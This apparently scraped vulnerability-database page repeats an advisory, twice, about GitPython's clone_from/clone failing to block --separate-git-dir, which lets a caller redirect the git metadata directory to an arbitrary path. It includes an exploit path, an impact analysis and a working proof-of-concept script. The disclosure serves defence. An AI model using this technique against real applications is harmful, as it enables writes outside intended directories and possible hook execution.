git/repo/base.py:145-151—unsafe_git_init_optionsincludes"--separate-git-dir"with the comment "Redirects the repository metadata to a caller-controlled path".git/repo/base.py:153-165—unsafe_git_clone_options(the list actually enforced on_clone) does not include"--separate-git-dir".git/repo/base.py:1450-1452— docstring ofclone_from/cloneexplicitly documents--separate-git-diras one of the optionsallow_unsafe_optionsis supposed to gate.git/repo/base.py:1495-1518—_clone()special-casesseparate_git_dironly toGit.polish_url()it (path normalization for URL-like values), then runs it throughGit.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)— which, per the list above, does not flag it.- PoC (
gitpython-001-poc.py, embedded below) run against this exact checkout confirms the option reaches the realgit clonesubprocess unguarded and creates a full git directory outside the destination path, withallow_unsafe_optionsat its defaultFalse.
False-positive check (adversarial re-read)
- Is there a value-level check that would still stop this? No —
check_unsafe_optionsonly inspects option names (via_canonicalize_option_name) against the denylist; it performs no filesystem/path validation onseparate_git_dir's value, and no other guard in_clone()touches this kwarg besides theGit.polish_url()normalization (which does not reject arbitrary paths). - Is
--separate-git-dirperhaps a no-op or safely sandboxed forclonespecifically (unlikeinit)? No — confirmed empirically: the option reaches the realgitbinary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path. - Could this be the exact bug already covered by one of the 26 published GHSAs? Checked all 26 entries in
_known-advisories.json(Filter 0):GHSA-9rj7-rf2p-w77rcovers--templateinRepo.init;GHSA-6p8h-3wgx-97gfcovers--templatein clone (already fixed, present inunsafe_git_clone_options);GHSA-hmq2-w58f-27jccovers arbitrary repo creation via unvalidated.gitmodulessubmodule names (a different code path —Submodule, notRepo.clone_from()kwargs). None reference--separate-git-diron the clone path. This is a distinct, currently-unpatched gap. - Does this require an unrealistic precondition? The precondition (host app forwards a kwarg into
clone_from/clone) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (--template,--upload-pack,--config,--bundle-uri) — i.e. it is the same threat model the guard exists to cover, just missing one entry. - Verdict: no concrete blocker found. CONFIRMED.
Remediation
Add "--separate-git-dir" (and its - alias if git ever adds one — currently there is none) to Repo.unsafe_git_clone_options in git/repo/base.py, matching unsafe_git_init_options. Since Repo._clone() already special-cases separate_git_dir for Git.polish_url() normalization, the fix is a one-line addition to the existing list, consistent with how GHSA-6p8h-3wgx-97gf added --template to the same list.
Confidence
High. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.
Proof-of-Concept source (gitpython-001-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in
unsafe_git_clone_options, so it reaches `git clone` unguarded and writes a
full git directory (config, hooks/, objects/, refs/, ...) to an
attacker-controlled path OUTSIDE the intended destination directory, with
allow_unsafe_options left at its default of False.
Run against the GitPython source tree under test, e.g.:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-001-poc.py <workdir>
Benign: only writes/reads inside the given workdir. No destructive/exfiltrating
payload. Exits non-zero and prints "NOT VULNERABLE" if the guard blocks the option
or the write does not escape the destination directory.
"""
import os
import sys
import subprocess
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-001-poc"
src = os.path.join(workdir, "src")
dest = os.path.join(workdir, "dest")
sentinel_dir = os.path.join(workdir, "OUTSIDE_SENTINEL")
target_gitdir = os.path.join(sentinel_dir, "redirected.git")
for p in (src, dest, sentinel_dir):
os.makedirs(p, exist_ok=True)
# Minimal benign source repo to clone from.
subprocess.run(["git", "init", "-q", "-b", "main", src], check=True)
subprocess.run(["git", "-C", src, "config", "user.email", "test@example.com"], check=True)
subprocess.run(["git", "-C", src, "config", "user.name", "Test"], check=True)
with open(os.path.join(src, "file.txt"), "w") as f:
f.write("hello\n")
subprocess.run(["git", "-C", src, "add", "file.txt"], check=True)
subprocess.run(["git", "-C", src, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
print("unsafe_git_clone_options =", git.Repo.unsafe_git_clone_options)
assert "--separate-git-dir" not in git.Repo.unsafe_git_clone_options, (
"guard now includes --separate-git-dir; PoC no longer applicable, target patched"
)
try:
repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)
except git.exc.UnsafeOptionError as e:
print("NOT VULNERABLE: blocked by UnsafeOptionError:", e)
sys.exit(1)
wrote_outside = os.path.isdir(os.path.join(target_gitdir, "hooks")) and os.path.isfile(
os.path.join(target_gitdir, "config")
)
gitlink_points_outside = False
with open(os.path.join(dest, ".git")) as f:
gitlink = f.read().strip()
gitlink_points_outside = target_gitdir in gitlink
print("repo.git_dir =", repo.git_dir)
print("wrote git directory outside dest (sentinel) =", wrote_outside)
print("dest/.git gitlink points outside dest =", gitlink_points_outside)
if wrote_outside and gitlink_points_outside:
print("VULNERABLE: git directory created at attacker-controlled path "
f"outside the clone destination: {target_gitdir}")
sys.exit(0)
else:
print("NOT VULNERABLE: sentinel not observed")
sys.exit(1)
if __name__ == "__main__":
main()
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.50",
"upstream_fixed_in": "3.1.59"
},
"package": {
"ecosystem": "Homebrew",
"name": "cobo-cli",
"purl": "pkg:brew/cobo-cli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.50",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.50"
}
]
},
"details": "- **CWE:** CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the \"escapes intended base directory\" sense)\n- **Affected component:** `git/repo/base.py`, `Repo.unsafe_git_clone_options` (class attribute, lines 153-165) and `Repo._clone()` (lines 1477-1520), reached via the public `Repo.clone_from()` (line 1626) and `Repo.clone()` (line 1567) APIs.\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`Repo.clone_from(url, to_path, **kwargs)` (and `Repo.clone()`) forward arbitrary keyword arguments to the underlying `git clone` invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (`Git._option_candidates`) and checks it against a denylist, `Repo.unsafe_git_clone_options`, via `Git.check_unsafe_options()` \u2014 *unless* the caller passes `allow_unsafe_options=True`. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 \u2192 2026-08-05) have repeatedly found incomplete or bypassable for other options (`--template`, `--upload-pack`, `--config`, `--exec`, `--output`, `--index-output`, `--pathspec-from-file`, etc.).\n\n`git clone` also accepts `--separate-git-dir=\u003cpath\u003e`, which redirects the repository\u0027s entire `.git` metadata directory to an **arbitrary, caller-controlled filesystem path**, leaving only a gitlink text file (`gitdir: \u003cpath\u003e`) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython\u0027s own code: `Repo.unsafe_git_init_options` (line 145-150) blocks `--separate-git-dir` for `Repo.init()`, with the comment *\"Redirects the repository metadata to a caller-controlled path\"*. The `Repo._clone()`/`clone()`/`clone_from()` docstring (line 1450-1452) is even more explicit:\n\n```\n:param allow_unsafe_options:\n Allow unsafe options to be used, such as ``--template`` and\n ``--separate-git-dir``.\n```\n\ni.e. the maintainers\u0027 own documentation states that `allow_unsafe_options=False` (the default) is supposed to block `--separate-git-dir` for clone. But **`Repo.unsafe_git_clone_options` does not contain it**:\n\n```python\nunsafe_git_clone_options = [\n \"--upload-pack\",\n \"-u\",\n \"--config\",\n \"-c\",\n \"--template\",\n \"--bundle-uri\",\n]\n```\n\nSo any application that forwards a `separate_git_dir` (or `separate-git-dir`) kwarg into `Repo.clone_from()` / `Repo.clone()` \u2014 e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling `--template`/`--upload-pack`/`--config` entries in this same list \u2014 gets **no protection at all** for `--separate-git-dir`, even with the default `allow_unsafe_options=False`.\n\n## Root cause\nParity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): `unsafe_git_init_options` correctly lists `--separate-git-dir`; `unsafe_git_clone_options`, covering the same option on a different git subcommand that also accepts it, does not \u2014 despite the function\u0027s own docstring claiming otherwise. This is the same \"denylist omits an equally-dangerous sibling option\" pattern already responsible for `GHSA-539m-9xh6-q6rr` (`archive` denylist missing `--add-file`/`--add-virtual-file`) and `GHSA-6p8h-3wgx-97gf` (`clone` denylist missing `--template`, since fixed).\n\n## Exploit path\n1. Attacker-controlled input reaches a `separate_git_dir=...` (or equivalently `\"separate-git-dir\"`) keyword argument passed into `Repo.clone_from()` / `Repo.clone()` by the host application, with `allow_unsafe_options` left at its default `False`.\n2. `Git._option_candidates()` renders this as `--separate-git-dir` and `Git.check_unsafe_options()` checks it against `Repo.unsafe_git_clone_options` \u2014 no match, no `UnsafeOptionError` raised.\n3. `Git.transform_kwargs()` renders the same kwarg into the real command line as `--separate-git-dir=\u003cattacker path\u003e` and GitPython executes `git clone -v --separate-git-dir=\u003cattacker path\u003e -- \u003curl\u003e \u003cdest\u003e` via `subprocess` (no shell).\n4. `git` itself creates the full repository metadata tree (`config`, `description`, `HEAD`, `hooks/`, `index`, `objects/`, `refs/`, `packed-refs`, `logs/`) at the attacker-specified path \u2014 which can be **any path outside the intended clone destination** that the process has permission to create \u2014 and leaves a gitlink file at the intended destination pointing to it.\n\n## Impact\nArbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity `GHSA-hmq2-w58f-27jc` (\"Arbitrary Git Repository Creation Outside the Working Tree\", CVSS 8.2). Concretely:\n- Planting a git repository structure (including a `hooks/` directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.\n- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository\u0027s `.git`, a shared cache path, a predictable temp location), the clone silently populates/overwrites `config`, `HEAD`, `hooks/*`, `refs/*`, `packed-refs`, and `index` there \u2014 an integrity violation of a resource outside the intended destination.\n- Combined with any later operation that runs `git` against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for `--template` in `GHSA-9rj7-rf2p-w77r`.\n\n## Preconditions\n- The calling application forwards a caller-influenced value into a `separate_git_dir` kwarg of `Repo.clone_from()`/`Repo.clone()` (or into the `multi_options` list as a raw `--separate-git-dir=...` token) without itself validating/rejecting it, and does not pass `allow_unsafe_options=True` intentionally. This is the identical trust model GitPython\u0027s own denylist already defends for `--template`/`--upload-pack`/`--config`/`--bundle-uri` on the very same code path \u2014 i.e. this option was clearly meant to be covered by the same guard and was simply omitted.\n- No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.\n\n## Evidence\n- `git/repo/base.py:145-151` \u2014 `unsafe_git_init_options` includes `\"--separate-git-dir\"` with the comment \"Redirects the repository metadata to a caller-controlled path\".\n- `git/repo/base.py:153-165` \u2014 `unsafe_git_clone_options` (the list actually enforced on `_clone`) does **not** include `\"--separate-git-dir\"`.\n- `git/repo/base.py:1450-1452` \u2014 docstring of `clone_from`/`clone` explicitly documents `--separate-git-dir` as one of the options `allow_unsafe_options` is supposed to gate.\n- `git/repo/base.py:1495-1518` \u2014 `_clone()` special-cases `separate_git_dir` only to `Git.polish_url()` it (path normalization for URL-like values), then runs it through `Git.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)` \u2014 which, per the list above, does not flag it.\n- PoC (`gitpython-001-poc.py`, embedded below) run against this exact checkout confirms the option reaches the real `git clone` subprocess unguarded and creates a full git directory outside the destination path, with `allow_unsafe_options` at its default `False`.\n\n## False-positive check (adversarial re-read)\n- **Is there a value-level check that would still stop this?** No \u2014 `check_unsafe_options` only inspects option *names* (via `_canonicalize_option_name`) against the denylist; it performs no filesystem/path validation on `separate_git_dir`\u0027s value, and no other guard in `_clone()` touches this kwarg besides the `Git.polish_url()` normalization (which does not reject arbitrary paths).\n- **Is `--separate-git-dir` perhaps a no-op or safely sandboxed for `clone` specifically (unlike `init`)?** No \u2014 confirmed empirically: the option reaches the real `git` binary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path.\n- **Could this be the exact bug already covered by one of the 26 published GHSAs?** Checked all 26 entries in `_known-advisories.json` (Filter 0): `GHSA-9rj7-rf2p-w77r` covers `--template` in `Repo.init`; `GHSA-6p8h-3wgx-97gf` covers `--template` in clone (already fixed, present in `unsafe_git_clone_options`); `GHSA-hmq2-w58f-27jc` covers arbitrary repo creation via unvalidated **`.gitmodules` submodule names** (a different code path \u2014 `Submodule`, not `Repo.clone_from()` kwargs). None reference `--separate-git-dir` on the clone path. This is a distinct, currently-unpatched gap.\n- **Does this require an unrealistic precondition?** The precondition (host app forwards a kwarg into `clone_from`/`clone`) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (`--template`, `--upload-pack`, `--config`, `--bundle-uri`) \u2014 i.e. it is the same threat model the guard exists to cover, just missing one entry.\n- Verdict: no concrete blocker found. **CONFIRMED.**\n\n## Remediation\nAdd `\"--separate-git-dir\"` (and its `-` alias if git ever adds one \u2014 currently there is none) to `Repo.unsafe_git_clone_options` in `git/repo/base.py`, matching `unsafe_git_init_options`. Since `Repo._clone()` already special-cases `separate_git_dir` for `Git.polish_url()` normalization, the fix is a one-line addition to the existing list, consistent with how `GHSA-6p8h-3wgx-97gf` added `--template` to the same list.\n\n## Confidence\nHigh. Root cause is a one-line, unambiguous omission the maintainers\u0027 own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.\n\n\n## Proof-of-Concept source (`gitpython-001-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in\nunsafe_git_clone_options, so it reaches `git clone` unguarded and writes a\nfull git directory (config, hooks/, objects/, refs/, ...) to an\nattacker-controlled path OUTSIDE the intended destination directory, with\nallow_unsafe_options left at its default of False.\n\nRun against the GitPython source tree under test, e.g.:\n PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-001-poc.py \u003cworkdir\u003e\n\nBenign: only writes/reads inside the given workdir. No destructive/exfiltrating\npayload. Exits non-zero and prints \"NOT VULNERABLE\" if the guard blocks the option\nor the write does not escape the destination directory.\n\"\"\"\nimport os\nimport sys\nimport subprocess\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-001-poc\"\n src = os.path.join(workdir, \"src\")\n dest = os.path.join(workdir, \"dest\")\n sentinel_dir = os.path.join(workdir, \"OUTSIDE_SENTINEL\")\n target_gitdir = os.path.join(sentinel_dir, \"redirected.git\")\n\n for p in (src, dest, sentinel_dir):\n os.makedirs(p, exist_ok=True)\n\n # Minimal benign source repo to clone from.\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", src], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.email\", \"test@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.name\", \"Test\"], check=True)\n with open(os.path.join(src, \"file.txt\"), \"w\") as f:\n f.write(\"hello\\n\")\n subprocess.run([\"git\", \"-C\", src, \"add\", \"file.txt\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n import git # gitpython under test\n\n print(\"unsafe_git_clone_options =\", git.Repo.unsafe_git_clone_options)\n assert \"--separate-git-dir\" not in git.Repo.unsafe_git_clone_options, (\n \"guard now includes --separate-git-dir; PoC no longer applicable, target patched\"\n )\n\n try:\n repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)\n except git.exc.UnsafeOptionError as e:\n print(\"NOT VULNERABLE: blocked by UnsafeOptionError:\", e)\n sys.exit(1)\n\n wrote_outside = os.path.isdir(os.path.join(target_gitdir, \"hooks\")) and os.path.isfile(\n os.path.join(target_gitdir, \"config\")\n )\n gitlink_points_outside = False\n with open(os.path.join(dest, \".git\")) as f:\n gitlink = f.read().strip()\n gitlink_points_outside = target_gitdir in gitlink\n\n print(\"repo.git_dir =\", repo.git_dir)\n print(\"wrote git directory outside dest (sentinel) =\", wrote_outside)\n print(\"dest/.git gitlink points outside dest =\", gitlink_points_outside)\n\n if wrote_outside and gitlink_points_outside:\n print(\"VULNERABLE: git directory created at attacker-controlled path \"\n f\"outside the clone destination: {target_gitdir}\")\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: sentinel not observed\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```",
"id": "BREW-cobo-cli-CVE-2026-78677",
"modified": "2026-09-09T23:48:13Z",
"published": "2026-09-04T08:51:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78677"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2210"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/b68afff45af0f49e79a3e2d2162018986b37ad5d"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3787.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython: clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options, enabling arbitrary git-directory creation outside the destination",
"upstream": [
"PYSEC-2026-3787",
"CVE-2026-78677",
"GHSA-8mcc-hrx5-hvxc"
]
}
BREW-CONDA-LOCK-CVE-2026-78677 (PYSEC-2026-3787)
Vulnerability from osv_homebrew – Published: 2026-09-04 08:51 – Updated: 2026-09-17 18:12 – Source website- CWE: CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the "escapes intended base directory" sense)
- Affected component:
git/repo/base.py,Repo.unsafe_git_clone_options(class attribute, lines 153-165) andRepo._clone()(lines 1477-1520), reached via the publicRepo.clone_from()(line 1626) andRepo.clone()(line 1567) APIs. - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
Repo.clone_from(url, to_path, **kwargs) (and Repo.clone()) forward arbitrary keyword arguments to the underlying git clone invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (Git._option_candidates) and checks it against a denylist, Repo.unsafe_git_clone_options, via Git.check_unsafe_options() — unless the caller passes allow_unsafe_options=True. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (--template, --upload-pack, --config, --exec, --output, --index-output, --pathspec-from-file, etc.).
git clone also accepts --separate-git-dir=<path>, which redirects the repository's entire .git metadata directory to an arbitrary, caller-controlled filesystem path, leaving only a gitlink text file (gitdir: <path>) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: Repo.unsafe_git_init_options (line 145-150) blocks --separate-git-dir for Repo.init(), with the comment "Redirects the repository metadata to a caller-controlled path". The Repo._clone()/clone()/clone_from() docstring (line 1450-1452) is even more explicit:
:param allow_unsafe_options:
Allow unsafe options to be used, such as ``--template`` and
``--separate-git-dir``.
i.e. the maintainers' own documentation states that allow_unsafe_options=False (the default) is supposed to block --separate-git-dir for clone. But Repo.unsafe_git_clone_options does not contain it:
unsafe_git_clone_options = [
"--upload-pack",
"-u",
"--config",
"-c",
"--template",
"--bundle-uri",
]
So any application that forwards a separate_git_dir (or separate-git-dir) kwarg into Repo.clone_from() / Repo.clone() — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling --template/--upload-pack/--config entries in this same list — gets no protection at all for --separate-git-dir, even with the default allow_unsafe_options=False.
Root cause
Parity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): unsafe_git_init_options correctly lists --separate-git-dir; unsafe_git_clone_options, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same "denylist omits an equally-dangerous sibling option" pattern already responsible for GHSA-539m-9xh6-q6rr (archive denylist missing --add-file/--add-virtual-file) and GHSA-6p8h-3wgx-97gf (clone denylist missing --template, since fixed).
Exploit path
- Attacker-controlled input reaches a
separate_git_dir=...(or equivalently"separate-git-dir") keyword argument passed intoRepo.clone_from()/Repo.clone()by the host application, withallow_unsafe_optionsleft at its defaultFalse. Git._option_candidates()renders this as--separate-git-dirandGit.check_unsafe_options()checks it againstRepo.unsafe_git_clone_options— no match, noUnsafeOptionErrorraised.Git.transform_kwargs()renders the same kwarg into the real command line as--separate-git-dir=<attacker path>and GitPython executesgit clone -v --separate-git-dir=<attacker path> -- <url> <dest>viasubprocess(no shell).gititself creates the full repository metadata tree (config,description,HEAD,hooks/,index,objects/,refs/,packed-refs,logs/) at the attacker-specified path — which can be any path outside the intended clone destination that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it.
Impact
Arbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity GHSA-hmq2-w58f-27jc ("Arbitrary Git Repository Creation Outside the Working Tree", CVSS 8.2). Concretely:
- Planting a git repository structure (including a hooks/ directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.
- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository's .git, a shared cache path, a predictable temp location), the clone silently populates/overwrites config, HEAD, hooks/*, refs/*, packed-refs, and index there — an integrity violation of a resource outside the intended destination.
- Combined with any later operation that runs git against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for --template in GHSA-9rj7-rf2p-w77r.
Preconditions
- The calling application forwards a caller-influenced value into a
separate_git_dirkwarg ofRepo.clone_from()/Repo.clone()(or into themulti_optionslist as a raw--separate-git-dir=...token) without itself validating/rejecting it, and does not passallow_unsafe_options=Trueintentionally. This is the identical trust model GitPython's own denylist already defends for--template/--upload-pack/--config/--bundle-urion the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted. - No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.
Evidence
git/repo/base.py:145-151—unsafe_git_init_optionsincludes"--separate-git-dir"with the comment "Redirects the repository metadata to a caller-controlled path".git/repo/base.py:153-165—unsafe_git_clone_options(the list actually enforced on_clone) does not include"--separate-git-dir".git/repo/base.py:1450-1452— docstring ofclone_from/cloneexplicitly documents--separate-git-diras one of the optionsallow_unsafe_optionsis supposed to gate.git/repo/base.py:1495-1518—_clone()special-casesseparate_git_dironly toGit.polish_url()it (path normalization for URL-like values), then runs it throughGit.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)— which, per the list above, does not flag it.- PoC (
gitpython-001-poc.py, embedded below) run against this exact checkout confirms the option reaches the realgit clonesubprocess unguarded and creates a full git directory outside the destination path, withallow_unsafe_optionsat its defaultFalse.
False-positive check (adversarial re-read)
- Is there a value-level check that would still stop this? No —
check_unsafe_optionsonly inspects option names (via_canonicalize_option_name) against the denylist; it performs no filesystem/path validation onseparate_git_dir's value, and no other guard in_clone()touches this kwarg besides theGit.polish_url()normalization (which does not reject arbitrary paths). - Is
--separate-git-dirperhaps a no-op or safely sandboxed forclonespecifically (unlikeinit)? No — confirmed empirically: the option reaches the realgitbinary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path. - Could this be the exact bug already covered by one of the 26 published GHSAs? Checked all 26 entries in
_known-advisories.json(Filter 0):GHSA-9rj7-rf2p-w77rcovers--templateinRepo.init;GHSA-6p8h-3wgx-97gfcovers--templatein clone (already fixed, present inunsafe_git_clone_options);GHSA-hmq2-w58f-27jccovers arbitrary repo creation via unvalidated.gitmodulessubmodule names (a different code path —Submodule, notRepo.clone_from()kwargs). None reference--separate-git-diron the clone path. This is a distinct, currently-unpatched gap. - Does this require an unrealistic precondition? The precondition (host app forwards a kwarg into
clone_from/clone) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (--template,--upload-pack,--config,--bundle-uri) — i.e. it is the same threat model the guard exists to cover, just missing one entry. - Verdict: no concrete blocker found. CONFIRMED.
Remediation
Add "--separate-git-dir" (and its - alias if git ever adds one — currently there is none) to Repo.unsafe_git_clone_options in git/repo/base.py, matching unsafe_git_init_options. Since Repo._clone() already special-cases separate_git_dir for Git.polish_url() normalization, the fix is a one-line addition to the existing list, consistent with how GHSA-6p8h-3wgx-97gf added --template to the same list.
Confidence
High. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.
Proof-of-Concept source (gitpython-001-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in
unsafe_git_clone_options, so it reaches `git clone` unguarded and writes a
full git directory (config, hooks/, objects/, refs/, ...) to an
attacker-controlled path OUTSIDE the intended destination directory, with
allow_unsafe_options left at its default of False.
Run against the GitPython source tree under test, e.g.:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-001-poc.py <workdir>
Benign: only writes/reads inside the given workdir. No destructive/exfiltrating
payload. Exits non-zero and prints "NOT VULNERABLE" if the guard blocks the option
or the write does not escape the destination directory.
"""
import os
import sys
import subprocess
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-001-poc"
src = os.path.join(workdir, "src")
dest = os.path.join(workdir, "dest")
sentinel_dir = os.path.join(workdir, "OUTSIDE_SENTINEL")
target_gitdir = os.path.join(sentinel_dir, "redirected.git")
for p in (src, dest, sentinel_dir):
os.makedirs(p, exist_ok=True)
# Minimal benign source repo to clone from.
subprocess.run(["git", "init", "-q", "-b", "main", src], check=True)
subprocess.run(["git", "-C", src, "config", "user.email", "test@example.com"], check=True)
subprocess.run(["git", "-C", src, "config", "user.name", "Test"], check=True)
with open(os.path.join(src, "file.txt"), "w") as f:
f.write("hello\n")
subprocess.run(["git", "-C", src, "add", "file.txt"], check=True)
subprocess.run(["git", "-C", src, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
print("unsafe_git_clone_options =", git.Repo.unsafe_git_clone_options)
assert "--separate-git-dir" not in git.Repo.unsafe_git_clone_options, (
"guard now includes --separate-git-dir; PoC no longer applicable, target patched"
)
try:
repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)
except git.exc.UnsafeOptionError as e:
print("NOT VULNERABLE: blocked by UnsafeOptionError:", e)
sys.exit(1)
wrote_outside = os.path.isdir(os.path.join(target_gitdir, "hooks")) and os.path.isfile(
os.path.join(target_gitdir, "config")
)
gitlink_points_outside = False
with open(os.path.join(dest, ".git")) as f:
gitlink = f.read().strip()
gitlink_points_outside = target_gitdir in gitlink
print("repo.git_dir =", repo.git_dir)
print("wrote git directory outside dest (sentinel) =", wrote_outside)
print("dest/.git gitlink points outside dest =", gitlink_points_outside)
if wrote_outside and gitlink_points_outside:
print("VULNERABLE: git directory created at attacker-controlled path "
f"outside the clone destination: {target_gitdir}")
sys.exit(0)
else:
print("NOT VULNERABLE: sentinel not observed")
sys.exit(1)
if __name__ == "__main__":
main()
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.61",
"upstream_fixed_in": "3.1.59"
},
"package": {
"ecosystem": "Homebrew",
"name": "conda-lock",
"purl": "pkg:brew/conda-lock"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "4.0.2_6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.61",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.61"
}
]
},
